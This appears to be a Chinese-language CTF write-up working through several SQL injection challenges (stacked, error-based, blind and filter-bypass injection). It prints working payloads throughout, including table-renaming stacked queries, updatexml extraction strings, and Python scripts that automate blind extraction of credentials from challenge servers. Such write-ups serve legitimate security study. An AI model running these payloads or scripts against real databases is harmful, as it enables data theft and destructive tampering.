参考了Liki4学长的文章https://vidar-team.feishu.cn/docx/doxcnlBu6zBZWkzfRcX78hv8DNS
强网杯2019_随便注 这是一道考堆叠注入的题目。
用order by可以测出返回的字段数量为2
但是发现题目过滤了union和select
那么这里可以用堆叠注入,用;
注入多条语句,用show来查询库名表名列名。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 ?inject=1';show databases;%23 array(1) { [0]=> string(11) "ctftraining" } array(1) { [0]=> string(18) "information_schema" } array(1) { [0]=> string(5) "mysql" } array(1) { [0]=> string(18) "performance_schema" } array(1) { [0]=> string(9) "supersqli" } array(1) { [0]=> string(4) "test" }
1 2 3 4 5 6 7 8 9 10 11 ?inject=1';show tables;%23 array(1) { [0]=> string(16) "1919810931114514" } array(1) { [0]=> string(5) "words" }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ?inject=1';show columns from `1919810931114514`;%23 array(6) { [0]=> string(4) "flag" [1]=> string(12) "varchar(100)" [2]=> string(2) "NO" [3]=> string(0) "" [4]=> NULL [5]=> string(0) "" }
发现flag,但是没法直接查出flag字段的值。
思路一 根据对表结构的观察,我们直接输入的变量会从words表中根据id查出对应的值,那么这里可以想办法让flag从1919810931114514
这个表到words表下,从而查出flag。
不过flag所在的表1919810931114514
是没有id这个列的,所以我们先将words表rename成其他表,再将1919810931114514
表改名为words并且添加列名id,再将flag这个列名改为data。
alter 作用:修改已知表的列。( 添加:add | 修改:alter,change | 撤销:drop )
用法:
1 2 3 4 5 6 7 8 9 10 11 12 13 添加一个列 alter table " table_name" add " column_name" type; 删除一个列 alter table " table_name" drop " column_name" type; 改变列的数据类型 alter table " table_name" alter column " column_name" type; 改列名 alter table " table_name" change " column1" " column2" type; alter table "table_name" rename "column1" to "column2";
1 2 3 4 5 6 7 8 1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);%23 array(2) { [0]=> string(42) "flag{1957d8cb-e9c3-43a2-8535-baf3a012a9ba}" [1]=> string(1) "1" }
思路二 用16进制编码绕过select的过滤查询flag字段的值。
将select * from 1919810931114514
进行16进制编码,再通过构造payload得
1 1'SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;%23
理语句,会进行编码转换。 execute用来执行由SQLPrepare创建的SQL语句。 SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。
思路三 用handler替换select来进行查询。
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
1 2 3 4 5 6 7 8 9 10 HANDLER tbl_name OPEN [ [AS] alias] HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...) [ WHERE where_condition ] [LIMIT ... ] HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST } [ WHERE where_condition ] [LIMIT ... ] HANDLER tbl_name READ { FIRST | NEXT } [ WHERE where_condition ] [LIMIT ... ] HANDLER tbl_name CLOSE
1 2 3 4 5 6 ?inject=1'; handler `1919810931114514` open as `a`; handler `a` read next;%23 array(1) { [0]=> string(42) "flag{3d656713-cae4-496d-a8fc-e197d81e8661}" }
SUSCTF2019_EasySQL
参考文章https://www.cnblogs.com/gtx690/p/13176458.html
首先也是先用字典<https://github.com/TheKingOfDuck/fuzzDicts/blob/master/sqlDict/sql.txt
>fuzz一下过滤情况,然后发现报错注入和盲注一些常见的函数都被过滤了,这里可以考虑用堆叠注入,并且select并没有被过滤。
1 2 3 4 5 1;show databases; 1;show tables; 1;show columns from Flag;
诶但是flag被过滤了,因此这里不能看Flag的表结构了。
思路一 这是官方的wp中的思路,这里的sql语句为select $post['query']||flag from Flag
。
1 1;set sql_mode=PIPES_AS_CONCAT;select 1
其中set sql_mode=PIPES_AS_CONCAT;的作用是将||的功能从 或运算(or) 改为 字符串拼接,从而将select1和select flag from Flag的结果拼接在一起。
思路二 如果$post[‘query’]的数据为*,1,sql语句就变成了select*,1||flag from Flag,也就是select *,1 from Flag,也就是直接查询出了Flag表中的所有内容
但是这里两种思路都是需要能够猜到查询语句的,所以感觉还是比较难的题目,做的时候很难想到。
极客大挑战2019_HardSQL
参考文章https://xz.aliyun.com/t/253
这个题目主要考察的是报错注入,原因是这是一个有回显的SQL注入情形但是Union注入的常见函数都被过滤了,而且有报错信息且报错注入的函数比如updatexml
可以用。
那首先报错注入的主要原理是利用报错信息的输出,简单说几个报错注入的常见用法。
BigInt等数据类型溢出 整形溢出比较受mysql版本限制,不太好用
xpath语法错误 Mysql5.1.5之后提供了两个XML查询和修改的函数,extractvalue和updatexml。extractvalue负责在xml文档中按照xpath语法查询节点内容,updatexml负责修改查询到的内容。这两个函数的第二个参数如果不满足xpath语法,都会将查询结果放在报错信息中,那么就可以借此输出查询结果。
count()+rand()+group_by()导致主键重复。 这种报错方法的本质是因为floor(rand(0)*2)的重复性,floor(rand(0)*2)则会固定得到011011…的序列。group by key的原理是循环读取数据的每一行,将结果保存于临时表中。而当临时表的结果中某个字段为主键时,重复的序列会导致报错。
题目中可以用updatexml来进行报错注入,并且对于空格,=
等过滤,使用()
和like
来进行绕过。
1 2 3 4 5 6 7 8 9 admin'^updatexml(1,concat(0x7e,(select(database())),0x7e),1)# admin'^updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek'))),0x7e),1)# admin'^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1'))),0x7e),1)# admin'^updatexml(1,concat(0x7e,(select(left(password,30))from(H4rDsq1)),0x7e),1)# admin'^updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1)#
最后这里查flag内容的时候,由于 updtexml最多显示32的长度,导致flag显示不全。然后用substr截取一下,发现substr被过滤了,于是上网找了另一种操作,用left和right截取函数分两次把完整的flag查出来了。
极客大挑战2019_FinalSQL 在get传id参数的位置存在注入点,考察的是盲注。
回显error说明传入的参数为数字型。
这里可以利用-来做逻辑运算,如果后面部分表达式的值为1时会回显error,否则为not this。
1 /search.php?id=1-(length(database())=4)
手动测一下,发现数据库库名长度为4,接下来的内容就要上脚本了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import requests as req import time url = "http://dd90e537-68a9-4b2f-8bf5-17d60186d512.node4.buuoj.cn:81/search.php?id=" res = '' length = 1000 for i in range(1,length+1): low = 0x00 high = 0x7f while(low <= high): mid = (high + low) // 2 print(low, mid, high) # payload = f"1-(length(database())>{{mid}})" # payload = f"1-(ascii(substr((database()),{i},1))>{mid})" # payload = f"1-(ascii(substr((Select(group_concat(table_name))From(information_schema.tables)Where(table_schema='geek')),{i},1))>{mid})" # payload = f"1-(ascii(substr((Select(group_concat(column_name))From(information_schema.columns)Where(table_name='F1naI1y')),{i},1))>{mid})" # payload = f"1 and ascii(substr(reverse((Select password From fl4gawsl Where id=2)), {i}, 1)) > {mid}" payload = f"1-(ascii(substr((Select(group_concat(id,username,password))From(F1naI1y)),{i},1))>{mid})" print(payload) response = req.get(url + payload) print(len(response.text)) ## 二分法条件 if(len(response.text) < 723): low = mid + 1 else: high = mid - 1 time.sleep(0.5) # print("[+]:", res) res += chr(low) print("[+]:", res) print(res)
1 2 3 4 [+]: geek [+]: F1naI1y,Flaaaaag [+]: id,username,password [+]: 9flagflag{7a4aa96d-eae0-493a-9fc7-a1d7bae8ebfa}
BUU SQL COURSE 1 很简单的sql注入题目,不过我发现Mysql版本<=5.0,没有information_schema.schemata
这个表,所以习惯性用这个表里面找schema_name,一下子没找出来没,直接databse()就行。
GXYCTF2019_BabySQli 有回显但是只会返回查询结果的对错并且有报错信息,盲注和报错注入都可以考虑。
使用order by测试返回字段数时被过滤用Or绕过。
1 name=123'Order by 3%23&pw=123
发现返回字段数为3
发现括号被过滤了那updatexml什么的函数就用不了了吧。
那么先试试盲注吧
不过这里盲注出来的话会发现password是个md5值,然后这就很难受了。
题目源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php $name = $_POST ['name' ]; $password = $_POST ['pw' ]; $t_pw = md5 ($password ); $sql = "select * from user where username = '" .$name ."'" ; $result = mysqli_query ($con , $sql ); if (preg_match ("/\(|\)|\=|or/" , $name )){ die ("do not hack me!" ); } else { if (!$result ) { printf ("Error: %s\n" , mysqli_error ($con )); exit (); } else { $arr = mysqli_fetch_row ($result ); if ($arr [1 ] == "admin" ){ if (md5 ($password ) == $arr [2 ]){ echo $flag ; } else { die ("wrong pass!" ); } } else { die ("wrong user!" ); } } }
正确的做法是利用联合查询的特性,联合查询不存在的数据时,会构造一个虚拟的数据,那么这里我们给username为admin的用户插入一个密码就可以登陆admin用户了。
输入1’ union select 1,’admin’,’202cb962ac59075b964b07152d234b70’#(202cb962ac59075b964b07152d234b70为123的md5加密值,此题由于过滤了括号,所以不能用md5()函数)。在密码处输入我们自定义的密码123,即可绕过检验,成功登陆admin账户。
NCTF2019_SQLi /hint.txt有过滤内容,拿到admin密码登陆就可以get flag。
1 $black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";
单引号被过滤了无法闭合引号,但是我们这里可以用反斜杠来转义引号。
username字段为\
时,select * from users where username=’' and passwd=’{passwd}’,用户名为' and passwd='
,而我们可以用%00
来截断最后一个引号,再使用逻辑运算符和regexp来对passwd字段的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import requests from urllib import parse import string url = 'http://6bfe4eb0-dec7-4e5d-b866-185f3f2bfd31.node4.buuoj.cn:81/' num = 0 result = '' string= string.ascii_lowercase + string.digits + '_' for i in range (1,60): if num == 1 : break for j in string: data = { "username":"\\", "passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((result+j),parse.unquote('%00')) } print(result+j) res = requests.post(url=url,data=data) if 'welcome' in res.text: result += j break if j=='_' and 'welcome' not in res.text: break